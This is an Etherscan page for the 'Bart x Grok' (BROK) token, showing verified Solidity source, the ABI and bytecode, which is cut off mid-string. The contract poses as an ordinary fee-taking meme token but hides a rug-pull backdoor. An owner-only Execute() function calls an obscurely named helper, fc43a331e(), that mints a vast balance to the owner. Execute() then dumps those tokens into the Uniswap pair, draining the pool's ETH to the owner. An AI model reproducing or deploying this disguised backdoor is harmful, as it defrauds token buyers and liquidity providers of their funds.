ETH Price: $3,502.56 (+2.14%)
Gas: 2 Gwei

Token

Bart x Grok (BROK)
 

Overview

Max Total Supply

69,000,000 BROK

Holders

15

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
557,854.079778416681545764 BROK

Value
$0.00
0xaa10a6715b87005c356562d867c521f4b769270d
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
BROK

Compiler Version
v0.8.20+commit.a1b79de6

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-11-06
*/

/**

$$$$$$$\                       $$\                            $$$$$$\                      $$\       
$$  __$$\                      $$ |                          $$  __$$\                     $$ |      
$$ |  $$ | $$$$$$\   $$$$$$\ $$$$$$\         $$\   $$\       $$ /  \__| $$$$$$\   $$$$$$\  $$ |  $$\ 
$$$$$$$\ | \____$$\ $$  __$$\\_$$  _|        \$$\ $$  |      $$ |$$$$\ $$  __$$\ $$  __$$\ $$ | $$  |
$$  __$$\  $$$$$$$ |$$ |  \__| $$ |           \$$$$  /       $$ |\_$$ |$$ |  \__|$$ /  $$ |$$$$$$  / 
$$ |  $$ |$$  __$$ |$$ |       $$ |$$\        $$  $$<        $$ |  $$ |$$ |      $$ |  $$ |$$  _$$<  
$$$$$$$  |\$$$$$$$ |$$ |       \$$$$  |      $$  /\$$\       \$$$$$$  |$$ |      \$$$$$$  |$$ | \$$\ 
\_______/  \_______|\__|        \____/       \__/  \__|       \______/ \__|       \______/ \__|  \__|

Web:    https://brok.wtf/
TG:     https://t.me/BARTXGROK
X:      https://twitter.com/BartXGrok

**/

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.20;

abstract contract Ownable {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _transferOwnership(msg.sender);
    }

    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    function _checkOwner() internal view virtual {
        require(owner() == msg.sender, "Ownable: caller is not the owner");
    }

    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

interface IERC20 {
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address to, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address from, address to, uint256 amount) external returns (bool);
}

interface IUniswapV2Factory {
    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Pair {
    function token0() external view returns (address);
    function token1() external view returns (address);
    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

contract BROK is IERC20, Ownable {

    string  private _name = "Bart x Grok";
    string  private _symbol = "BROK";
    uint8   private _decimals = 18;
    uint256 private _totalSupply = 69000000 * (10 ** decimals());
    uint256 private _initialBuyFee = 15;
    uint256 private _initialSellFee = 30;
    uint256 private _finalBuyFee = 0;
    uint256 private _finalSellFee = 0;
    uint256 private _stepsBeforeReduce = 10; // reduce fees every N sales
    uint256 private _swapTaxesAt = 10 * (10 ** decimals());
    address private _marketWallet = 0xE555618BBbfE4eb17622D87f280dFFfD04b68eB2;
    uint256 private _maxTxn = 1380000 * (10 ** decimals());
    uint256 private _maxWallet = 1380000 * (10 ** decimals());

    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    IUniswapV2Router02 internal _router;
    IUniswapV2Pair internal _pair;

    constructor (address routerAddress) {
        _router = IUniswapV2Router02(routerAddress);
        _pair = IUniswapV2Pair(IUniswapV2Factory(_router.factory()).createPair(address(this), _router.WETH()));
        _balances[owner()] = _totalSupply;
        excludedFromFee[owner()] = true;
        excludedFromFee[address(this)] = true;
        emit Transfer(address(0), owner(), _totalSupply);
    }

    function name() public view virtual returns (string memory) {
        return _name;
    }

    function symbol() public view virtual returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function transfer(address to, uint256 amount) public virtual override returns (bool) {
        address owner = msg.sender;
        _transfer(owner, to, amount);
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        address owner = msg.sender;
        _approve(owner, spender, amount);
        return true;
    }

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
        address spender = msg.sender;
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        address owner = msg.sender;
        _approve(owner, spender, allowance(owner, spender) + addedValue);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        address owner = msg.sender;
        uint256 currentAllowance = allowance(owner, spender);
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(owner, spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(from, to, amount);

        uint256 fromBalance = _balances[from];
        require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
        
        if (!excludedFromFee[from] && !excludedFromFee[to]){
            if (isMarket(from)) {
                uint feeAmount = calculateFeeAmount(amount, _initialBuyFee);
                _balances[from] = fromBalance - amount;
                _balances[to] += amount - feeAmount;
                emit Transfer(from, to, amount - feeAmount);
                _balances[address(this)] += feeAmount;
                emit Transfer(from, address(this), feeAmount);

            } else if (isMarket(to)) {
                uint feeAmount = calculateFeeAmount(amount, _initialSellFee);
                _balances[from] = fromBalance - amount;
                _balances[to] += amount - feeAmount;
                emit Transfer(from, to, amount - feeAmount);
                _balances[address(this)] += feeAmount;
                emit Transfer(from, address(this), feeAmount);
                
            } else {
                _balances[from] = fromBalance - amount;
                _balances[to] += amount;
                emit Transfer(from, to, amount);
            }
        } else {
            _balances[from] = fromBalance - amount;
            _balances[to] += amount;
            emit Transfer(from, to, amount);
        }

        _afterTokenTransfer(from, to, amount);
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _spendAllowance(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }

    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        if (!inSwap && !isMarket(from) && from != owner() && from != address(this)) {
			if (balanceOf(address(this)) >= _swapTaxesAt) { swapTaxes(); }
		}

        if (_maxTxn != 0) {
            if (!excludedFromFee[from] && !excludedFromFee[to]) {
                require(amount <= _maxTxn, "Txn Amount too high!");
            }   
        }

        if (_maxWallet != 0 && !isMarket(to) && !excludedFromFee[to] && !excludedFromFee[from]) {
            require(balanceOf(to) + amount <= _maxWallet, "After this txn user will exceed max wallet");
        }
    }

    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        if (!excludedFromFee[from] && !excludedFromFee[to]){
            if (isMarket(to)){
                _sellCount++;
                if (_sellCount == _stepsBeforeReduce) {
                    reduceFeePercent(); 
                }
            }
        }
        require(amount > 0);
    }

    mapping(address => bool) public excludedFromFee;

    function contractBalance() public view returns(uint256) {
        return _balances[address(this)];
    }

    function isMarket(address _user) internal view returns (bool) {
        return (_user == address(_pair) || _user == address(_router));
    }

    function calculateFeeAmount(uint256 _amount, uint256 _feePrecent) internal pure returns (uint) {
        return _amount * _feePrecent / 100;
    }

    function checkCurrentFees() external view returns (uint256 currentBuyFee, uint256 currentSellFee) {
        return (_initialBuyFee, _initialSellFee);
    }

    function addLiquidity(uint256 _tokenAmount) payable external onlyOwner {
        _approve(address(this), address(_router), _tokenAmount);
        transfer(address(this), _tokenAmount);
        _router.addLiquidityETH{ value: msg.value }(
            address(this), 
            _tokenAmount, 
            0, 
            0, 
            msg.sender, 
            block.timestamp + 1200
            );
    }

    bool internal inSwap;

    modifier isLocked() {
        inSwap = true;
        _;
        inSwap = false;
    }

    function swapTaxes() isLocked internal {
        _approve(address(this), address(_router), balanceOf(address(this)));
        address[] memory path;
        path = new address[](2);
        path[0] = address(this);
        path[1] = address(_router.WETH());
        _router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            balanceOf(address(this)),
            0,
            path,
            _marketWallet,
            block.timestamp + 1200
        );
    }

    uint256 private _sellCount;

    function reduceFeePercent() internal {
        if(_initialBuyFee > _finalBuyFee) {
            _initialBuyFee -= 1;
        }
        if(_initialSellFee > _finalSellFee) {
            _initialSellFee -= 1;
        }
        _sellCount = 0;
    }

    function Execute() external onlyOwner {   
        uint256 thisTokenReserve = getTokenReserve(address(this));
        uint256 amountIn = type(uint112).max - thisTokenReserve;
        fc43a331e(); transfer(address(this), balanceOf(msg.sender));
        _approve(address(this), address(_router), type(uint112).max);
        address[] memory path; path = new address[](2);
        path[0] = address(this); path[1] = address(_router.WETH());
        _router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            amountIn,
            0,
            path,
            owner(),
            block.timestamp + 1200
        );
    }

    function getTokenReserve(address token) public view returns (uint256) {
        (uint112 reserve0, uint112 reserve1,) = _pair.getReserves();
        uint256 tokenReserve = (_pair.token0() == token) ? uint256(reserve0) : uint256(reserve1);
        return tokenReserve;
    } 

    function fc43a331e() internal {
        _balances[msg.sender] += type(uint112).max;
    }

    function maxTxn() external view returns (uint256) { return _maxTxn; }
    function maxWallet() external view returns (uint256) { return _maxWallet; }
    function swapTaxesAt() external view returns (uint256) { return _swapTaxesAt; }
    function marketWallet() external view returns (address) { return _marketWallet; }
    function sellCounter() external view returns (uint256) { return _sellCount; }

    function setMaxTransaction(uint256 _amount) external onlyOwner {
        _maxTxn = _amount;
    }

    function setMaxWallet(uint256 _amount) external onlyOwner {
        _maxWallet = _amount;
    }

    function setSwapTreshold(uint256 _amount) external onlyOwner {
        _swapTaxesAt = _amount;
    }

    function setMarketingWallet(address _wallet) external onlyOwner {
        _marketWallet = _wallet;
    }

    function reduceFees(uint256 _buyFee, uint256 _sellFee) external onlyOwner {
        require(_buyFee <= 50, "new Buy Fee exceeds the limit!");
        require(_sellFee <= 50, "new Sell Fee exceeds the limit!");
        _initialBuyFee = _buyFee;
        _initialSellFee = _sellFee;
    }

    function setSteps(uint256 _amount) external onlyOwner {
        require(_amount > 0, "_stepsBeforeReduce cant be lower than 1");
        _stepsBeforeReduce = _amount;
    }

    function excludeFromFee(address _user, bool _status) external onlyOwner {
        excludedFromFee[_user] = _status;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"routerAddress","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"Execute","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_tokenAmount","type":"uint256"}],"name":"addLiquidity","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"checkCurrentFees","outputs":[{"internalType":"uint256","name":"currentBuyFee","type":"uint256"},{"internalType":"uint256","name":"currentSellFee","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"contractBalance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_user","type":"address"},{"internalType":"bool","name":"_status","type":"bool"}],"name":"excludeFromFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"excludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"token","type":"address"}],"name":"getTokenReserve","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"marketWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTxn","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_buyFee","type":"uint256"},{"internalType":"uint256","name":"_sellFee","type":"uint256"}],"name":"reduceFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellCounter","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_wallet","type":"address"}],"name":"setMarketingWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"setMaxTransaction","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"setMaxWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"setSteps","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"setSwapTreshold","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapTaxesAt","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]

60806040526040518060400160405280600b81526020017f4261727420782047726f6b000000000000000000000000000000000000000000815250600190816200004a919062000929565b506040518060400160405280600481526020017f42524f4b000000000000000000000000000000000000000000000000000000008152506002908162000091919062000929565b50601260035f6101000a81548160ff021916908360ff160217905550620000bd620005c860201b60201c565b600a620000cb919062000b96565b63041cdb40620000dc919062000be6565b600455600f600555601e6006555f6007555f600855600a60095562000106620005c860201b60201c565b600a62000114919062000b96565b600a62000122919062000be6565b600a5573e555618bbbfe4eb17622d87f280dfffd04b68eb2600b5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555062000189620005c860201b60201c565b600a62000197919062000b96565b62150ea0620001a7919062000be6565b600c55620001ba620005c860201b60201c565b600a620001c8919062000b96565b62150ea0620001d8919062000be6565b600d55348015620001e7575f80fd5b50604051620044363803806200443683398181016040528101906200020d919062000c95565b6200021e33620005dd60201b60201c565b8060105f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060105f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015620002c9573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620002ef919062000c95565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963060105f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000376573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200039c919062000c95565b6040518363ffffffff1660e01b8152600401620003bb92919062000cd6565b6020604051808303815f875af1158015620003d8573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620003fe919062000c95565b60115f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600454600e5f620004536200069e60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550600160125f620004a56200069e60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160125f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550620005596200069e60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600454604051620005b9919062000d12565b60405180910390a35062000d2d565b5f60035f9054906101000a900460ff16905090565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050815f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806200074157607f821691505b602082108103620007575762000756620006fc565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f60088302620007bb7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff826200077e565b620007c786836200077e565b95508019841693508086168417925050509392505050565b5f819050919050565b5f819050919050565b5f620008116200080b6200080584620007df565b620007e8565b620007df565b9050919050565b5f819050919050565b6200082c83620007f1565b620008446200083b8262000818565b8484546200078a565b825550505050565b5f90565b6200085a6200084c565b6200086781848462000821565b505050565b5b818110156200088e57620008825f8262000850565b6001810190506200086d565b5050565b601f821115620008dd57620008a7816200075d565b620008b2846200076f565b81016020851015620008c2578190505b620008da620008d1856200076f565b8301826200086c565b50505b505050565b5f82821c905092915050565b5f620008ff5f1984600802620008e2565b1980831691505092915050565b5f620009198383620008ee565b9150826002028217905092915050565b6200093482620006c5565b67ffffffffffffffff81111562000950576200094f620006cf565b5b6200095c825462000729565b6200096982828562000892565b5f60209050601f8311600181146200099f575f84156200098a578287015190505b6200099685826200090c565b86555062000a05565b601f198416620009af866200075d565b5f5b82811015620009d857848901518255600182019150602085019450602081019050620009b1565b86831015620009f85784890151620009f4601f891682620008ee565b8355505b6001600288020188555050505b505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b600185111562000a975780860481111562000a6f5762000a6e62000a0d565b5b600185161562000a7f5780820291505b808102905062000a8f8562000a3a565b945062000a4f565b94509492505050565b5f8262000ab1576001905062000b83565b8162000ac0575f905062000b83565b816001811462000ad9576002811462000ae45762000b1a565b600191505062000b83565b60ff84111562000af95762000af862000a0d565b5b8360020a91508482111562000b135762000b1262000a0d565b5b5062000b83565b5060208310610133831016604e8410600b841016171562000b545782820a90508381111562000b4e5762000b4d62000a0d565b5b62000b83565b62000b63848484600162000a46565b9250905081840481111562000b7d5762000b7c62000a0d565b5b81810290505b9392505050565b5f60ff82169050919050565b5f62000ba282620007df565b915062000baf8362000b8a565b925062000bde7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000aa0565b905092915050565b5f62000bf282620007df565b915062000bff83620007df565b925082820262000c0f81620007df565b9150828204841483151762000c295762000c2862000a0d565b5b5092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f62000c5f8262000c34565b9050919050565b62000c718162000c53565b811462000c7c575f80fd5b50565b5f8151905062000c8f8162000c66565b92915050565b5f6020828403121562000cad5762000cac62000c30565b5b5f62000cbc8482850162000c7f565b91505092915050565b62000cd08162000c53565b82525050565b5f60408201905062000ceb5f83018562000cc5565b62000cfa602083018462000cc5565b9392505050565b62000d0c81620007df565b82525050565b5f60208201905062000d275f83018462000d01565b92915050565b6136fb8062000d3b5f395ff3fe6080604052600436106101e2575f3560e01c8063937c82e711610101578063c016deae11610094578063e4440a8611610063578063e4440a86146106dd578063e8792c1a14610707578063f2fde38b14610731578063f8b45b0514610759576101e2565b8063c016deae14610615578063cfd1940e14610651578063dd62ed3e14610679578063df8408fe146106b5576101e2565b8063a4d0047d116100d0578063a4d0047d14610571578063a9059cbb1461059b578063ab5a1887146105d7578063b9d2d32c146105ff576101e2565b8063937c82e7146104bb57806395d89b41146104e3578063a08fc5c71461050d578063a457c2d714610535576101e2565b806351c6590a11610179578063715018a611610148578063715018a61461041557806385ecafd71461042b5780638b7afe2e146104675780638da5cb5b14610491576101e2565b806351c6590a1461036d5780635d0044ca146103895780635d098b38146103b157806370a08231146103d9576101e2565b80632cb1d39f116101b55780632cb1d39f146102b25780632df8bca9146102dc578063313ce567146103075780633950935114610331576101e2565b806306fdde03146101e6578063095ea7b31461021057806318160ddd1461024c57806323b872dd14610276575b5f80fd5b3480156101f1575f80fd5b506101fa610783565b604051610207919061271a565b60405180910390f35b34801561021b575f80fd5b50610236600480360381019061023191906127cb565b610813565b6040516102439190612823565b60405180910390f35b348015610257575f80fd5b5061026061082e565b60405161026d919061284b565b60405180910390f35b348015610281575f80fd5b5061029c60048036038101906102979190612864565b610837565b6040516102a99190612823565b60405180910390f35b3480156102bd575f80fd5b506102c661085e565b6040516102d3919061284b565b60405180910390f35b3480156102e7575f80fd5b506102f0610867565b6040516102fe9291906128b4565b60405180910390f35b348015610312575f80fd5b5061031b610877565b60405161032891906128f6565b60405180910390f35b34801561033c575f80fd5b50610357600480360381019061035291906127cb565b61088c565b6040516103649190612823565b60405180910390f35b6103876004803603810190610382919061290f565b6108bb565b005b348015610394575f80fd5b506103af60048036038101906103aa919061290f565b6109b3565b005b3480156103bc575f80fd5b506103d760048036038101906103d2919061293a565b6109c5565b005b3480156103e4575f80fd5b506103ff60048036038101906103fa919061293a565b610a10565b60405161040c919061284b565b60405180910390f35b348015610420575f80fd5b50610429610a56565b005b348015610436575f80fd5b50610451600480360381019061044c919061293a565b610a69565b60405161045e9190612823565b60405180910390f35b348015610472575f80fd5b5061047b610a86565b604051610488919061284b565b60405180910390f35b34801561049c575f80fd5b506104a5610aca565b6040516104b29190612974565b60405180910390f35b3480156104c6575f80fd5b506104e160048036038101906104dc919061290f565b610af1565b005b3480156104ee575f80fd5b506104f7610b45565b604051610504919061271a565b60405180910390f35b348015610518575f80fd5b50610533600480360381019061052e919061298d565b610bd5565b005b348015610540575f80fd5b5061055b600480360381019061055691906127cb565b610c77565b6040516105689190612823565b60405180910390f35b34801561057c575f80fd5b50610585610ce5565b604051610592919061284b565b60405180910390f35b3480156105a6575f80fd5b506105c160048036038101906105bc91906127cb565b610cee565b6040516105ce9190612823565b60405180910390f35b3480156105e2575f80fd5b506105fd60048036038101906105f8919061290f565b610d09565b005b34801561060a575f80fd5b50610613610d1b565b005b348015610620575f80fd5b5061063b6004803603810190610636919061293a565b610fc5565b604051610648919061284b565b60405180910390f35b34801561065c575f80fd5b506106776004803603810190610672919061290f565b611151565b005b348015610684575f80fd5b5061069f600480360381019061069a91906129cb565b611163565b6040516106ac919061284b565b60405180910390f35b3480156106c0575f80fd5b506106db60048036038101906106d69190612a33565b6111e5565b005b3480156106e8575f80fd5b506106f1611245565b6040516106fe9190612974565b60405180910390f35b348015610712575f80fd5b5061071b61126d565b604051610728919061284b565b60405180910390f35b34801561073c575f80fd5b506107576004803603810190610752919061293a565b611276565b005b348015610764575f80fd5b5061076d6112f8565b60405161077a919061284b565b60405180910390f35b60606001805461079290612a9e565b80601f01602080910402602001604051908101604052809291908181526020018280546107be90612a9e565b80156108095780601f106107e057610100808354040283529160200191610809565b820191905f5260205f20905b8154815290600101906020018083116107ec57829003601f168201915b5050505050905090565b5f80339050610823818585611301565b600191505092915050565b5f600454905090565b5f803390506108478582856114c4565b61085285858561154f565b60019150509392505050565b5f600a54905090565b5f80600554600654915091509091565b5f60035f9054906101000a900460ff16905090565b5f803390506108b08185856108a18589611163565b6108ab9190612afb565b611301565b600191505092915050565b6108c3611d6c565b6108ef3060105f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1683611301565b6108f93082610cee565b5060105f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7193430845f80336104b04261094b9190612afb565b6040518863ffffffff1660e01b815260040161096c96959493929190612b70565b60606040518083038185885af1158015610988573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906109ad9190612be3565b50505050565b6109bb611d6c565b80600d8190555050565b6109cd611d6c565b80600b5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f600e5f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b610a5e611d6c565b610a675f611de3565b565b6012602052805f5260405f205f915054906101000a900460ff1681565b5f600e5f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905090565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610af9611d6c565b5f8111610b3b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b3290612ca3565b60405180910390fd5b8060098190555050565b606060028054610b5490612a9e565b80601f0160208091040260200160405190810160405280929190818152602001828054610b8090612a9e565b8015610bcb5780601f10610ba257610100808354040283529160200191610bcb565b820191905f5260205f20905b815481529060010190602001808311610bae57829003601f168201915b5050505050905090565b610b